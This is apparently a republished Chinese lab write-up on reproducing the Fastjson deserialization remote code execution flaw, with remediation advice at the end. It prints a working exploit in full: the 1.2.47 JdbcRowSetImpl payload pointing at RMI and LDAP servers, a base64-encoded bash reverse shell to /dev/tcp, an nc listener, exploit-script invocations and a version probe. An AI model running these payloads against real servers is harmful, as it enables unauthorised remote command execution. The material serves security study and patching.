Fastjson遠程代碼執行漏洞復現


fastjson漏洞簡介

Fastjson是一個Java庫,可用於將Java對象轉換為其JSON表示形式。它還可以用於將JSON字符串轉換為等效的Java對象,fastjson爆出多個反序列化遠程命令執行漏洞,攻擊者可以通過此漏洞遠程執行惡意代碼來入侵服務器。

fastjson漏洞原理

先來分析fastjson 1.2.47的POC

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "rmi://x.x.x.x:8080/Exphub", 
        "autoCommit": true
    }
}

對fastjson版本小於1.2.48的版本通殺,autoType為關閉狀態也可使用。
loadClass中默認cache設置為true,利用分為2步執行,首先使用java.lang.Class把獲取到的類緩存到mapping中,然后直接從緩存中獲取到了com.sun.rowset.JdbcRowSetImpl這個類,繞過了黑名單機制
該payload會利用fastjson的反序列化漏洞去指定的rmi/ldap服務進行遠程方法調用
若要進行遠程命令執行則需現構造一個惡意的rmi或者ldap,在其中設定要執行的命令,之后利用fastjson反序列化漏洞去使用我們構造的rmi/ldap,最終在fastjson服務器中執行我們在rmi/ldap中指定的命令,故該遠程命令執行無法回顯,但是仍然可以進行反彈shell(Linux)
除了rmi/ldap構造惡意類,還需要另其一個http服務提供具體的惡意類+要執行的命令,整體流程如下:

詳情查看secquan-Fastjson 1.2.24-1.2.47全漏洞RCE

Fastjson漏洞環境搭建

  • 主機A含有Fastjson漏洞環境 IP地址192.168.2.101
  • 主機B含有惡意java類 IP地址192.168.2.102
  • 主機C含有RMI服務 IP地址192.168.2.102
  • 接收反彈shell-kali-linux IP地址192.168.2.103

主機A搭建含有fastjson1.2.47-rce漏洞環境

Fastjson漏洞環境復現

工具下載

fastjson_tool.jar
fastjson-1.2.47_rce.py

反彈shell

  • kali-linux執行nc監聽6666端口
nc -lvp 6666

  • 主機B開啟RMI服務,加載遠程惡意java類
bash -i >& /dev/tcp/192.168.2.103/6666 0>&1 //轉成bash能執行的格式如下,
java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.2.102 9998 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAzLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

  • 發送利用fastjson反序列化漏洞使靶機執行RMI服務的惡意java類執行遠程命令
python3 fastjson-1.2.47_rce.py http://192.168.2.101:8090 rmi://192.168.2.102:9998/Object

  • 反彈shell成功

fastjson漏洞攻擊流量分析

  • 先從HTTP請求入手,可以看到HTTP發送POC服務器返回狀態碼400,其中有構造的開啟RMI服務的IP地址192.168.2.102

  • 流量可以看到遠程調用成功執行Object.class惡意類

  • 執行命令服務器返回的信息

2021年8月26日更新

fastjson執行命令回顯

利用工具

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 0.0.0.0 -l 1534
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://vps:port/TomcatBypass/TomcatEcho","autoCommit":"true"}}


fastjson探測版本信息

[{"a":"a\x]
{"@type":"java.lang.AutoCloseable"
a


記得看content-type類型是否包含json

fastjson漏洞影響版本

  • fastjson-1.2.24_rce.py Fastjson <=1.2.24 反序列化遠程命令執行漏洞
  • fastjson-1.2.41_rce.py Fastjson <=1.2.41 反序列化遠程命令執行漏洞
  • fastjson-1.2.42_rce.py Fastjson <=1.2.42 反序列化遠程命令執行漏洞
  • fastjson-1.2.43_rce.py Fastjson <=1.2.43 反序列化遠程命令執行漏洞
  • fastjson-1.2.45_rce.py Fastjson <=1.2.45 反序列化遠程命令執行漏洞
  • fastjson-1.2.47_rce.py Fastjson <=1.2.47 反序列化遠程命令執行漏洞
  • fastjson-1.2.62_rce.py Fastjson <=1.2.62 反序列化遠程命令執行漏洞
  • fastjson-1.2.66_rce.py Fastjson <=1.2.66 反序列化遠程命令執行漏洞

fastjson漏洞修復措施

升級到 1.2.51 以上,並推薦關閉Autotype 詳細升級方法可參見漏洞修復措施

fastjson漏洞參考鏈接

cnblogs-關於FASTJSON 1.2.24 反序列化導致任意命令執行漏洞
阿里fastjson漏洞公告
Fastjson 1.2.24-1.2.47全漏洞RCE
https://www.cnblogs.com/sijidou/p/13121332.html

聲明

嚴禁讀者利用以上介紹知識點對網站進行非法操作 , 本文僅用於技術交流和學習 , 如果您利用文章中介紹的知識對他人造成損失 , 后果由您自行承擔 , 如果您不能同意該約定 , 請您務必不要閱讀該文章 , 感謝您的配合!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM